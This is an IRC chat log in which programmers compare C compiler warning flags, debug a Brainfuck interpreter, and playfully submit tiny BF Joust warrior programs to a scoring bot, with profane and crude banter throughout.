UNPORTABILITY 20:46:12 SQUEAL, pikhq! 20:46:13 SQUEAL! 20:46:15 GregorR-L: Fair enough. 20:46:45 ehird: See, it's fair enough when I do it, it's only when you do it that it's bad. 20:46:51 ehird: I GET PAID TO MAKE STUFF WORK RIGHT. I HATE YOU AND SENTENCE YOU TO 50 YEARS OF PORTING YOUR CODE TO DIFFERENT ARCHITECTURES WITHOUT USING MORE THAN MAKE. 20:47:07 $ ~/local/tcc/bin/tcc -std=c89 -Wall -pedantic -g -O3 -o hello hello.c 20:47:07 tcc: invalid option -- '-std=c89' 20:47:08 pikhq: I THINK THE PROBLEM HERE IS THAT YOUR JOB SUCKS 20:47:08 pikhq: I had that job at Intel for a while :P 20:47:15 $ ~/local/tcc/bin/tcc -Wall -pedantic -g -O3 -o hello hello.c 20:47:15 tcc: invalid option -- '-pedantic' 20:47:28 other than that the flags work for it 20:47:29 tcc is obsolete :( 20:47:32 GregorR-L: Well aware. 20:47:36 GregorR, so it is. 20:47:37 I ran into your boss last year. :p 20:47:52 pikhq: Oh yeah, I remember you saying something about that. 20:48:00 $ icc -std=c89 -Wall -pedantic -g -O3 -o hello hello.c 20:48:01 icc: command line remark #10148: option '-pedantic' not supported 20:48:01 (just a warning) 20:48:01 GregorR-L: AnMaster yelled at me just because I'm going to buy an Intel processor, I guess working for them is too evil for him to even comment on :) 20:48:02 ehird: What I'd probably do is put the warning stuff only when DEBUG 20:48:26 opencc manages it, since it is based on a GCC frontend 20:48:38 So when your average Joe builds, he won't get that. 20:48:45 Kinda funny. I mentioned Brainfuck. He mentioned "Oh, yeah... Someone who worked for me, Gregor, did that, too." "... Gregor Richards?" "... Yes..." 20:48:46 $ ~/local/llvm/bin/clang-cc -std=c89 -Wall -pedantic -g -O3 -o hello hello.c 20:48:46 Unknown warning option: -Wall 20:48:46 ehird: I worked in their "software portability and converting healthy infants into processor cleaning cloths" department. 20:49:06 :-D 20:49:07 hm doesn't work anyway 20:49:08 GregorR-L: At least you didn't DO UNSCRUPULOUS MARKETING PRACTICES 20:49:12 -!- pingeri has joined. 20:49:18 A $1bn fine just isn't enough, we have to boycott them forever too. 20:49:30 GregorR-L: I'm a sys-admin. Most of what I actually *do* involves RPM, though. 20:49:35 pikhq: RPM? 20:49:36 Oh god. 20:49:50 ehird: For the only sane RPM distro. 20:49:59 pikhq: Paradox detected. 20:50:05 pikhq, what company was that at 20:50:07 Mandriva does RPM well. 20:50:15 oh Intel? 20:50:20 AnMaster: No, GregorR-L worked for Intel. 20:50:24 AnMaster: What, where I ran into Gregor's boss? 20:50:24 You have serious multithreading issues. 20:50:29 I was sent to USENIX. 20:50:53 pikhq, I meant, from what company he was 20:51:01 Intel. 20:51:05 right 20:51:07 GregorR-L worked at Intel. 20:51:10 pikhq found GregorR-L's boss. 20:51:14 Hmmmmmmmmmmmmmmmm what company could it be 20:51:17 ehird, THAT IS WHAT I ASKED ABOUT YES! 20:51:22 YOU DID NOT USE UPPER-CASE, NO. 20:51:42 waaaat 20:51:42 AMDtellol 20:52:05 ehird, I missed the bit about Intel due to working on testing the flags in various compilers 20:52:10 * ehird actually uses the int[pointer] equivalent 20:52:13 -!- pingeri has quit (Client Quit). 20:52:34 ehird, so congrats, that makefile will work in gcc and open64, it will compile with a warning with icc. Apart from that it won't work. 20:52:39 lance.c:92: warning: format ‘%p’ expects type ‘void *’, but argument 3 has type ‘struct _ins_t *’ 20:52:46 -pedantic is shit :) 20:52:54 ehird, that isn't pedantic iirc 20:52:57 it is -Wformat=2 20:52:59 -Wall is shit then 20:53:17 ehird, -Wall -Wextra -pedantic ? 20:53:22 -Wall -pedantic. 20:53:28 AnMaster: http://pastie.org/493136.txt?key=yu7xd3arlhs9vpb0ds1zg ← I think I have some parse tree issues 20:53:32 why no -Wextra 20:53:36 -W -Wall -Werror -pedantic 20:53:53 Deewiant, no 20:54:04 ehird, what program is it parsing 20:54:06 -Wextra is a bumbling pile of shit. Citation: Linus. 20:54:10 AnMaster: [>[-]+] :-P 20:54:12 it doesn't seem listed there 20:54:13 AnMaster: What "no" :-P 20:54:14 I just don't add an EOF node. 20:54:17 ehird, no way 20:54:23 So it runs off the edge of the atpe. 20:54:25 And krrrrrrrr 20:54:44 ehird, wait. that is a trace, no the parse tree? 20:54:49 latter 20:54:56 s/no/not/ 20:54:57 it's a parse tree that has no "OK STOP NOW" node 20:55:07 so it runs into random memory, and here's the fun part: 20:55:08 ehird, that is being dumped? 20:55:21 ins->op["+-><[].@"] (wrong way around for shits and giggles, this is a debug function) 20:55:26 now, when we get into random memory 20:55:31 we then dereference that random memory in my limited size array 20:55:33 which is too small 20:55:35 so we use random memory 20:55:38 to access more random memory 20:55:39 :-D 20:55:44 ehird, it isn't wrong way around. It is perfectly valid 20:55:50 So we get the opcodes c, o, invisible, invisible, invisible. 20:55:51 just not common practise 20:55:53 AnMaster: "unintuitive" then 20:56:22 ehird, easy enough to parse. Doesn't cause any major issues with that. 20:56:38 I know 20:56:42 It's just, you know, ridiculous 20:56:52 (you mean i[ptr] right?) 20:57:05 "+-><[].@"[ins->op] looks even ridiculouslyer 20:57:24 I'm not used to indexing a string literal in code 20:57:32 -!- Corun has quit ("Leaving..."). 20:57:47 the common way tends to be "static const char foo[] = "+-><[].@" 20:57:51 s/"// 20:57:53 or such 20:57:56 as I said, debug code 20:57:57 and then index that 20:58:22 * ehird notes that he's relying on malloc to give him zeroed memory, and fixes that 20:58:32 ehird, what happens if the source contains an a 20:58:49 looks like ins->op["+-><[].@"] will fail then 20:58:51 wait hm 20:58:54 that is reverse map? 20:58:55 wut 20:58:56 oh ok 20:58:56 yes 20:59:02 for debug output yeah 20:59:10 yay, prints correctly now 20:59:16 I just have to make it not rely on malloc zeroing :P 20:59:27 Which is irritating, as I do parser->ins++ wantonly quite a lot. 20:59:28 ehird, mmap() instead 20:59:28 Function time! 20:59:33 AnMaster: Nah. 20:59:38 ehird, then calloc 20:59:48 No, just advance_parser(parser) instead of parser->ins++ 20:59:50 if you need zero 20:59:55 ehird, even better 21:00:05 malloc + handle garbage correctly is the best way 21:00:11 That doesn't handle the first one, but I can set that manually. 21:00:15 Not the prettiest, but meh. 21:00:54 Yay, t'works. 21:01:01 "most significant nibble".... Where on earth did I see that recently... 21:02:26 * AnMaster ponders nibble-endianness 21:02:44 imagine. a short with PDP-endianness for the nibbles! 21:02:59 (short being 16 bit here, but probably shouldn't!) 21:03:07 i used to think endian was at bit-level 21:03:09 * pikhq ponders middle-endian architectures 21:03:16 ehird, there are system with bitendianness 21:03:29 2 = 0100000000000000000000000000000 21:03:30 ehird, but on most systems you can't address individual bits 21:03:48 Sure you can. << and >> FTW. 21:03:59 pikhq, yes. But not as in memory address... 21:04:07 Ah, yes. 21:04:07 which is what is relevant here 21:04:27 bit-endianness isn't relevant when you can't access it like that in memory 21:04:42 * pikhq proposes that x86_128 reuse segment notation for bit addressing. :p 21:04:58 Okay, parsing done. I do not handle (foo)*N or (foo{bar}baz)%N yet. Those can wait. 21:05:04 << and >> (and their corresponding asm opcodes) are defined in terms of arithmetics. Not in terms of memory address... 21:05:07 Time for some hot lovin'^W^Winterpreting. 21:05:17 -!- Slereah_ has quit (Read error: 110 (Connection timed out)). 21:05:29 pikhq, hm? 21:05:50 pikhq, also I think it might be useful with 128 bit GPs, while still being 64 bit. 21:05:56 to speed up ipv6 calculation 21:06:01 (and other stuff) 21:06:08 0xDEADBEEF:8 21:06:08 :p 21:06:20 pikhq, um? 21:06:36 what has that got to do with this 21:06:58 suggestion PDP-endianness on all levels! 21:07:05 s/n /n: / 21:07:17 -!- Slereah has joined. 21:07:38 Not much. 21:07:52 as in, each nibble having such for the bits, then each byte that for the nibbles, each word that for the bytes 21:07:53 and so on 21:08:00 like the idea? 21:08:09 nescience: gimme a crappy tiny bf joust warrior that isn't [>[-]+] 21:08:45 ehird: Grab the http://codu.org/eso/bfjoust/in_egobot/ 21:08:56 Deewiant: Those are neither crappy nor tiny 21:09:04 Also some use ()*N and ()%N. 21:09:06 Some of them are crappy 21:09:10 ehird, [>[-]+] will always run off the end of the tape 21:09:15 and loose? 21:09:17 AnMaster: Ummmm. 21:09:18 No. 21:09:21 And *lose. 21:09:33 AnMaster: It wins when it sets the flag to 0, duh. 21:09:36 ehird, since flag needs to be 0 two cycles in a row 21:09:37 duh 21:09:40 ... 21:09:45 [-]-]-]-(it's zero)](you won!) 21:09:45 ehird: Anyway; [>[+]-] ;-P 21:09:54 Deewiant: Eh, sure. 21:10:14 http://esolangs.org/wiki/BF_Joust 21:10:23 AnMaster: I just explained why it works 21:10:26 "The revised version" 21:10:28 "A program does not lose due to its flag becoming 0 unless its flag is 0 at the end of two consecutive cycles" 21:10:35 You're dense on purpose, aren't you 21:10:36 [-]-]-]-(it's zero)](you won!) 21:10:45 Set to zero by -, another cycle passes by ], and you win. 21:10:49 ah 21:10:51 right 21:10:54 miscounted cycles 21:11:22 !bfjoust lunatic [-] 21:11:26 Score for GregorR-L_lunatic: 9.1 21:11:29 err 21:11:30 HOW 21:11:35 yeah how 21:11:41 GregorR-L, debug it locally 21:11:50 Ties against train2 O_o 21:11:55 Probably others ran off the tape in <128 cycles *shrugs* 21:12:04 Er, GregorR-L. 21:12:09 128*2+1. 21:12:13 [-]-]-]-]-] 21:12:16 In X-P 21:12:32 !bfjoust loony_tick (-)*128[-] 21:12:37 Score for ehird_loony_tick: 9.1 21:12:37 Beats shade, amusingly 21:12:42 Heh 21:12:45 What's shade do again? 21:12:57 Beats me, I don't look at them 21:13:03 !bfjoust dysfunctional [-+] 21:13:07 Score for GregorR-L_dysfunctional: 9.5 21:13:12 heh 21:13:25 !bfjoust i_will_just_wait_here_okay []HI GUYS WHAT'S UP oh, oh I lost. Dayum. 21:13:25 !bfjoust dysfunctional X 21:13:31 Score for Deewiant_dysfunctional: 5.7 21:13:31 !bfjoust lethargic [.] 21:13:32 Score for ehird_i_will_just_wait_here_okay: 5.7 21:13:35 Score for AnMaster_lethargic: 6.2 21:13:35 \o/ 21:13:36 That's really dysfunctional :P 21:13:45 Letting yourself be raped is better than masturbation, this shows. 21:13:52 Case in point: loony_tick does better than i_will_just_wait_here_okay. 21:13:54 And doing better is BAD! 21:14:01 This is good logic okay. 21:14:10 What. Are you all looking at me for. 21:14:11 !bfjoust pensive [[](+)*128] 21:14:14 Stopthat 21:14:15 Score for GregorR-L_pensive: 11.0 21:14:48 0 | 0 0 - - - - 0 0 0 0 - - - - - - - - - + | 6.2 | -12 | AnMaster_lethargic.bfjoust 21:14:50 !bfjoust i_like_big_butts_and_i_cannot_lie ([{-}])%1024 ← this is my butt 21:14:52 it won against shade? 21:14:53 huh 21:14:53 Score for ehird_i_like_big_butts_and_i_cannot_lie: 12.4 21:15:04 !bfjoust i_like_big_butts_and_i_cannot_lie ([-{++}-])%1024 ← this is my butt 21:15:08 Score for ehird_i_like_big_butts_and_i_cannot_lie: 12.6 21:15:16 wait 21:15:23 I guess shade assumes the first nonzero it comes across is a decoy, or something 21:15:34 Deewiant, sounds familiar 21:15:58 !bfjoust loser [>(+)*128] 21:16:02 Score for GregorR-L_loser: 14.9 21:16:10 !bfjoust shade_needs_to_get_laid http://pastie.org/493170.txt?key=6e0w9h8pg7tbirpusvxta 21:16:14 Score for ehird_shade_needs_to_get_laid: 46.6 21:16:16 It's totally bitch-assing. 21:16:34 ehird, how does that one work? 21:16:42 AnMaster: s/[-]/[(-)*128[-]]/ shade 21:16:49 It's totally bitch-assing. 21:17:01 Oh right, that was the one that was manually expanded because the interpreter was broken 21:17:04 GregorR-L, where is defend9? 21:17:16 ... in HELL. 21:17:19 Bitch-ass land!!!!!1 21:17:33 GregorR-L, your interpreter doesn't handle it? 21:17:42 Was there ever a defend9? 21:17:51 I'm sure it would handle it, maybe it just wasn't good enough. 21:17:57 GregorR, wasn't it the one that made it slow down to a trickle? 21:18:16 or was that defend8 21:18:21 defend8 21:18:24 And it's there. 21:18:24 ah ok 21:18:32 Okay, interpreter loop time. 21:18:41 Sirs and gentlemens, I'd like to talk about interpreter loops. 21:18:45 Y'see... they're bitch-assing. 21:18:52 Thank you. 21:18:55 B'bye. 21:19:35 seems like http://codu.org/eso/bfjoust/in_egobot/myndzi_slowrush.bfjoust is the best current one? 21:19:40 Yeah 21:19:42 By a lot. 21:19:56 and that one is even short 21:20:00 and not a mess 21:20:12 impressive 21:20:14 !bfjoust the_unknowable_reversi_of_slowrush >(-)*20>(+)*20>->+>->+>->+(>[[+-----------------[+.]]->]-)*20 21:20:19 Score for ehird_the_unknowable_reversi_of_slowrush: 67.0 21:20:31 GOOD ENOUGH FOR JESUS, GOOD ENOUGH FOR ME 21:20:36 ? 21:20:44 ... 21:20:49 do you have a highlight on jesus? 21:20:57 X-D 21:20:59 ehird, you only do reversed ones... 21:21:03 Sgeo IS Jesus. 21:21:06 AnMaster: Not true. 21:21:09 More correct: 21:21:10 ehird, sorry 21:21:11 mostly 21:21:16 My reversed ones are the only ones that don't get knocked off the hill. 21:21:21 ehird, ah! 21:21:39 ehird, reversed ones are cheating 21:21:44 !bfjoust yodelin_bob_farbenhowm (<)*128 21:21:48 Score for GregorR-L_yodelin_bob_farbenhowm: 2.9 21:21:51 2.9?! 21:21:53 HOW 21:22:01 AnMaster: My interp makes reversed programs = unreversed ones. 21:22:07 With ~*polarity*~ 21:22:08 * GregorR-L wonders why that's 2.9 instead of 0. 21:22:16 because 21:22:23 !bfjoust mc_buttfuck_went_to_town ] 21:22:28 Score for ehird_mc_buttfuck_went_to_town: 16.0 21:22:33 ehird, no that isn't same 21:22:34 BEAT THAT 21:22:39 ...is that even valid? 21:22:41 AnMaster: ? 21:22:43 Sgeo: No. 21:22:47 !bfjoust does_not_parse ( 21:22:52 Score for GregorR-L_does_not_parse: 2.9 21:22:53 Whaaaaaaat the fuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuck 21:22:54 9 | 0 0 - - - 0 0 0 + + - - - - - - - - - + | 16.0 | -9 | ehird_mc_buttfuck_went_to_town.bfjoust 21:22:56 IT WINS 21:23:01 against 21:23:01 8 | - - - - + - + - - - - + + + + + - + - + | 48.2 | -2 | ehird_defend8mwahahaha.bfjoust 21:23:06 HAAAAAAAAAAH 21:23:08 and 21:23:08 10 | - - + + + + + + + - - + - 0 - - - - - - | 42.3 | -3 | ehird_shade_needs_to_get_laid.bfjoust 21:23:10 3 | - - - - - - - - - - - - - - - - - - - - | 2.9 | -20 | GregorR-L_yodelin_bob_farbenhowm.bfjoust 21:23:15 and draws against tons of other 21:23:15 s 21:23:16 XD 21:23:32 !bfjoust oh_mc_farmer_why_dont_you_KRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR [- 21:23:35 * GregorR-L goes to debugglefy why that's 2.9 21:23:35 Score for ehird_oh_mc_farmer_why_dont_you_KRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR: 19.2 21:24:31 !bfjoust too_long_name_breaks_formatting.bfjoust [-] 21:24:34 Score for AnMaster_too_long_name_breaks_formatting_bfjoust: 11.2 21:24:35 um 21:24:38 ah 21:24:42 !bfjoust . [-] 21:24:46 -!- impomatic has joined. 21:24:46 Score for AnMaster__: 11.2 21:24:52 I like that name 21:25:08 wait what 21:25:10 Whoops, found that bug. 21:25:10 !bfjoust only_your_butt_can_break_the_infinite_mass_of_extreme_formatting_that_is_what_you_have_known_to_be_a_superllllllllllllllllllllllllllllllooooooooooooonnnnng_name_okay_okay_good_that_is_very_good . 21:25:12 that wins against 21:25:14 Score for ehird_only_your_butt_can_break_the_infinite_mass_of_extreme_formatting_that_is_what_you_have_known_to_be_a_superllllllllllllllllllllllllllllllooooooooooooonnnnng_name_okay_okay_good_that_is_very_good: 25.5 21:25:16 11 | + 0 + + + + + + + + + - + + - + + - 0 - | 67.5 | 10 | ehird_the_unknowable_reversi_of_slowrush.bfjoust 21:25:21 !bfjoust loser (<)*128 21:25:24 Nopping = 25.5 points. 21:25:25 Score for GregorR-L_loser: 0.0 21:25:28 !bfjoust this_is_basically_the_same_as_the_anmaster_trivial [+] 21:25:31 Score for Sgeo_this_is_basically_the_same_as_the_anmaster_trivial: 19.2 21:25:35 ... 21:25:43 randomized tape lengths 21:25:45 mine fixes that 21:25:48 with *~averages~* 21:25:49 Maybe it isn't? 21:26:00 it is. 21:26:05 Why is [+] 19.2 and [-] 11.2? 21:26:11 0 | - - 0 - - - - - - + - - - 0 - 0 - - - + | 11.2 | -13 | AnMaster__.bfjoust 21:26:11 11 | + 0 + + + + + + + + + - + + - + + - 0 - | 67.5 | 10 | ehird_the_unknowable_reversi_of_slowrush.bfjoust 21:26:13 that 21:26:20 is what I'm wondering about 21:26:29 AnMaster: It's a puddle of infinity! 21:26:31 wait 21:26:34 10 | - - - + + + + + + + - + - 0 - - - - - - | 41.5 | -3 | ehird_shade_needs_to_get_laid.bfjoust 21:26:40 that is the second line I meant to paste 21:26:45 * Sgeo is confused 21:26:48 how can it loose against that 21:26:51 Where can I learn about BF Joust? 21:26:51 err 21:26:52 win 21:26:54 ehird: So where's your bitchin' sweet interpreter? 21:27:01 !google bf joust 21:27:02 http://google.com/search?q=bf+joust 21:27:04 GregorR-L: Being written this very second, you bitch ass. 21:27:20 ehird: Bitchin' bitchin' bitch bitchin' bitch. 21:27:25 BITCH! 21:27:34 !bfjoust 21:27:34 Use: !bfjoust 21:27:41 !bfjoust a 21:27:41 Use: !bfjoust 21:27:43 meh 21:27:53 I wanted to name my program a space 21:27:59 !bfjoust a 21:28:00 Use: !bfjoust 21:28:01 .. 21:28:38 !bfjoust make_me_a_sammich (>)*10+>->+[[-]>+] 21:28:42 Score for GregorR-L_make_me_a_sammich: 12.0 21:28:43 !bfjoust , 21:28:44 Use: !bfjoust 21:28:44 !bfjoust sleep [.] 21:28:48 !bfjoust test , 21:28:48 Score for Sgeo_sleep: 25.5 21:28:53 Score for AnMaster_test: 25.5 21:29:04 !bfjoust sleep [.] <-- I did that above 21:29:08 oh 21:29:15 !bfjoust iturnedintoa >>>>>>>>>>+[>+][[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]Sandwiches are >++ 21:29:18 Score for ehird_iturnedintoa: 4.8 21:29:24 4.8 21:29:26 Lowest so far 21:29:27 BITCHES 21:29:37 Sgeo, called lethargic 21:29:39 !bfjoust ohai < 21:29:43 Score for Deewiant_ohai: 0.0 21:29:45 ehird: . 21:29:58 FUCK! 21:30:05 !bfjoust negativeplz <<<<<<<<< 21:30:09 Score for ehird_negativeplz: 0.0 21:30:12 HA 21:30:16 my 0.0 is smaller than yours 21:30:17 !bfjoust oh_nose [[](+)*128] 21:30:20 ehird, also GregorR-L did lower than 4.8 before 21:30:22 Score for GregorR-L_oh_nose: 30.3 21:30:31 2.8 or 0 21:30:42 Challenge: Lowest positive score. 21:30:45 !bfjoust oh_you_have_a_nose_i_see (-)*127< 21:30:50 Score for ehird_oh_you_have_a_nose_i_see: 8.5 21:30:59 It weakens itself pitifully, then runs off the tape. But still does okay. 21:31:02 !bfjoust oh_you_have_a_nose_i_see (-)*127[>+] 21:31:06 Score for ehird_oh_you_have_a_nose_i_see: 21.0 21:31:08 !bfjoust oh_you_have_a_nose_i_see (+)*127[>+] 21:31:12 Score for ehird_oh_you_have_a_nose_i_see: 16.5 21:31:14 ;_; 21:31:15 !bfjoust fail >+[.] 21:31:18 Score for AnMaster_fail: 19.0 21:31:21 meh 21:31:31 !bfjoust oh_nose [[--++](+)*128] 21:31:35 Score for GregorR-L_oh_nose: 30.9 21:31:36 !bfjoust ohai (+)*128< 21:31:39 Score for Deewiant_ohai: 11.2 21:31:51 Oh, ehird already did something like that 21:32:01 !bfjoust ohai (+)*22< 21:32:04 Score for Deewiant_ohai: 0.0 21:32:08 !bfjoust ohai (+)*32< 21:32:10 !bfjoust i_hate_myself_and_i_want_to_die [>(+)*127] i am very helpful 21:32:15 Score for ehird_i_hate_myself_and_i_want_to_die: 4.1 21:32:15 Score for Deewiant_ohai: 3.9 21:32:19 Ha 21:32:19 Oh dman 21:32:20 !bfjoust ohai2 (+)*40< 21:32:23 I had the world record for <1 second 21:32:24 Score for AnMaster_ohai2: 3.8 21:32:26 !bfjoust ohai2 (+)*30< 21:32:26 D'oh 21:32:29 Score for AnMaster_ohai2: 0.0 21:32:31 !bfjoust i_hate_myself_and_i_want_to_die [>(-)*127>+] 21:32:32 hm 21:32:32 !bfjoust ohai (+)*31< 21:32:34 Score for AnMaster_ohai2: 3.8 21:32:37 I WIN 21:32:37 Score for ehird_i_hate_myself_and_i_want_to_die: 10.2 21:32:37 Score for Deewiant_ohai: 0.0 21:32:37 ATM 21:32:39 !bfjoust ohai (+)*33< 21:32:41 !bfjoust another_loser - 21:32:43 Score for Deewiant_ohai: 0.0 21:32:45 !bfjoust ohai (+)*34< 21:32:46 Deewiant, ehird ^ 21:32:46 Score for Sgeo_another_loser: 32.7 21:32:47 :P 21:32:49 Score for Deewiant_ohai: 0.0 21:32:49 :PPPPPPP 21:32:50 !bfjoust ohai (+)*35< 21:32:50 !bfjoust fuck_my_life (>)*37 21:32:52 How did that happen? 21:32:54 Score for ehird_fuck_my_life: 0.0 21:32:54 Score for Deewiant_ohai: 0.2 21:32:56 !!! 21:33:01 Beat that, luzers 21:33:02 !bfjoust oh_nose [[](+Wow)*128] 21:33:03 How did - survive at all? 21:33:07 Score for GregorR-L_oh_nose: 35.0 21:33:08 !bfjoust fuck_my_life (>)*9(<)*9[-] 21:33:12 Deewiant: Haha 0.2 21:33:12 Score for ehird_fuck_my_life: 16.4 21:33:14 That's amazing 21:33:22 !bfjoust ohai (-)*35< 21:33:26 Score for AnMaster_ohai: 0.0 21:33:27 Score for Deewiant_ohai: 0.2 // nothing's going to beat this. 21:33:30 !bfjoust fuck_my_life >-<->-<- 21:33:31 !bfjoust ohai (+)*36< 21:33:34 GregorR-L: Y NOT 21:33:35 ehird: I expect it to be thanks to your fuck_my_life 21:33:36 Score for ehird_fuck_my_life: 16.8 21:33:37 Score for AnMaster_ohai: 6.1 21:33:41 !bfjoust ohai (+)*34< 21:33:44 !bfjoust ohai_sensible (-)*35 21:33:45 ehird: It would've got 0 if that hadn't been in the same run :-P 21:33:45 Score for AnMaster_ohai: 0.0 21:33:50 Score for Sgeo_ohai_sensible: 32.0 21:33:54 ............:! 21:33:59 ehird: Since yours killed itself before mine did 21:34:04 !bfjoust (-)*128 21:34:04 Use: !bfjoust 21:34:06 !bfjoust ()*65536 21:34:06 Erm. 21:34:06 Deewiant, you were lucky with tape length 21:34:06 Use: !bfjoust 21:34:12 !bfjoust parenthesi_or_butt ()*65536 21:34:17 Score for ehird_parenthesi_or_butt: 36.4 21:34:18 !bfjoust loserp (-)*128 21:34:18 IT DOES NOTHING 21:34:18 SLOWLY 21:34:20 HAHAHAHA 21:34:20 The actually good programs on top seem unthreatened :P 21:34:21 Score for pikhq_loserp: 3.5 21:34:21 A 21:34:23 36.4!!! 21:34:26 !bfjoust parenthesi_or_butt ()*10000000000 21:34:30 THIS WILL GET LIKE 300000000000 21:34:32 ehird: Nah, 37 is over the max (I think) 21:34:34 Err 21:34:35 AnMaster: ^ 21:34:41 Deewiant, ? 21:34:46 !bfjoust more_loserp (-)*65536 21:34:59 The single most straightforward suicider didn't get a 0? 21:35:01 ah 21:35:08 AnMaster: No luck involved... my program killed itself before anything could touch it, but ehird's killed itself first 21:35:09 !bfjoust fucking_termoil_wants_me_to_term_oil (-)*99999999999 21:35:11 !bfjoust more_loserp (-)*6553 21:35:14 ehird: polarity for slowrush played a part in one warrior 21:35:15 !bfjoust ohai (+)*35< 21:35:16 see? 21:35:23 nescience: hm? 21:35:25 - gets 1 loss 2 ties and + gets like 2 losses 2 ties 21:35:32 Why isn't more_loserp running 21:35:34 ehird: Did you have to do that again? 21:35:35 also seriously, would you quit with the submitting the inverse thing? 21:35:37 ... what have you done this time? :P 21:35:41 Sgeo, because ehird clogged it 21:35:43 GregorR-L: ehird's *9999999999999 I expect 21:35:49 LAWL 21:35:58 nescience: not until i has my polarity :) 21:36:08 which am doin 21:36:12 ehird, do it 21:36:29 I am. 21:36:39 good, as soon as you do then it'll be only 1 loss 0 ties :) 21:36:45 Wait, enter needs to be 0 two times? 21:37:03 nescience: Yes. 21:37:05 nescience: Who's the loss? 21:37:31 i don't remember 21:37:37 <_< 21:37:41 it may have been more than one actually 21:37:44 That really shouldn't cause this kind of problem. 21:37:45 oh, you mean now? shade 21:37:47 shade beats slowrush 21:37:58 SHADE NEEDS TO GET PAID 21:38:11 -!- stupid_connectio has joined. 21:38:15 i'm bored 21:38:18 i need to go to work 21:38:18 Score for AnMaster_ohai: 0.0 21:38:18 Score for Sgeo_more_loserp: 39.3 21:38:18 Score for ehird_fucking_termoil_wants_me_to_term_oil: 49.5 21:38:19 Score for Sgeo_more_loserp: 39.3 21:38:19 Score for ehird_parenthesi_or_butt: 52.3 21:38:24 LOL 21:38:26 52.3 21:38:36 21:34 ehird: !bfjoust parenthesi_or_butt ()*10000000000 21:38:39 = 52.3 scor 21:38:39 e 21:38:45 Amazing. 21:39:04 train2 fell off the hill :-( 21:39:06 That's because I killed them so it tied a bunch. 21:39:16 Oh 21:39:24 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*30 21:39:28 Score for Deewiant_train2: 28.3 21:39:30 GregorR-L: how about eliminating polar duplicates from the hill? :P 21:39:31 :-( 21:39:42 nescience: using 21:39:44 MY INTERPRETER 21:39:51 ehird's interpreter will do the trick. 21:39:55 [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ 21:40:00 Yes. 21:40:00 ya 21:40:03 HELLO LAMENT 21:40:03 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*28 21:40:05 You're GREEN. 21:40:06 but also once you use it, 21:40:07 Score for Deewiant_train2: 17.2 21:40:09 DID. YOU. KNOW. 21:40:09 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*32 21:40:11 HELLO EHIRD 21:40:12 then infinite variations of the same warrior can be submitted 21:40:13 Score for Deewiant_train2: 27.7 21:40:15 YOU'RE COLORLESS 21:40:15 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*31 21:40:17 YES HELLO lament, THIS IS TRULY AMAZING 21:40:19 Score for Deewiant_train2: 15.0 21:40:21 which could be abused 21:40:22 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*29 21:40:24 WOW, DO YOU WANT TO TURN INTO A - 21:40:26 ? lament? 21:40:32 Score for Deewiant_train2: 16.9 21:40:44 WAT 21:40:55 A SCALE OF MONTOLOGY, lament. 21:40:58 JUST BASIC SCIENTIFICS. 21:41:06 OHHHHHHH-KAY 21:41:32 Hey, what did you do to shortsword :-/ Who's to blame? 21:41:41 <-- 21:41:43 i mean uhh :P 21:41:49 !bfjoust hopefully_fixed_bug ()*1000000 21:41:54 Score for GregorR-L_hopefully_fixed_bug: 29.4 21:42:05 !bfjoust hopefully_+mug ()*1000000000000000000000000000000000000000000000000000000 21:42:09 ONE THOUSAND GILLION 21:42:09 Score for ehird_hopefully__mug: 31.1 21:42:32 i am an avant-gardist. isn't that right lament? lament? ent? ? 21:42:38 yyyyes. 21:43:17 !bfjoust toast [>+>-] 21:43:21 Score for GregorR-L_toast: 10.9 21:43:28 ur toast 21:43:37 !bfjoust toast (>+>-)*10 21:43:41 Score for GregorR-L_toast: 9.6 21:43:47 Erm :P 21:44:34 !bfjoust toast (>+>-)*5 21:44:38 Score for GregorR-L_toast: 20.1 21:47:27 -!- myndzi\ has changed nick to myndzi. 21:48:06 -!- stupid_connectio has changed nick to impomatic[2]. 21:48:09 -!- myndzi has changed nick to myndzi\. 21:48:35 -!- myndzi\ has changed nick to myndzi. 21:49:24 sorry for nickspam 21:49:30 accidentally submitted under wrong nick 21:49:45 !bfjoust pooper_scooper [>([{}-])%5+] 21:49:49 Score for GregorR-L_pooper_scooper: 39.5 21:50:04 too many ties, needs to be a suicide 21:50:05 * nescience sighs 21:50:06 -!- nescience has changed nick to myndzi\. 21:50:39 brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrb. 21:53:33 -!- GregorR has quit (Connection timed out). 21:53:38 ... uh oh. 21:53:55 at least you didn't wind up with 'no route to host' earlier :) 21:53:58 -!- GregorR has joined. 21:54:13 HAIL GREGOR! 21:54:52 BTW, any idea which program that (-)*128 is *beating*? 21:55:31 my suicide 21:55:39 myndzi\_slowrush 21:55:43 -!- impomatic has quit (Connection timed out). 21:55:44 myndzi\: The text being? 21:55:55 Should work now. 21:57:00 !bfjoust pooper_scooper [>([{}-])%5+>([{}-])%5-] 21:57:04 Score for GregorR-L_pooper_scooper: 39.1 21:57:50 Wow, that myndzi\_foo really confused it :P 21:59:41 !bfjoust pooper_scooper [>[[-]-]+] 21:59:45 Score for GregorR-L_pooper_scooper: 37.7 22:00:09 !bfjoust pooper_scooper >[[-]-] 22:00:13 Score for GregorR-L_pooper_scooper: 34.2 22:00:17 Huh 22:00:37 -!- impomatic[2] has changed nick 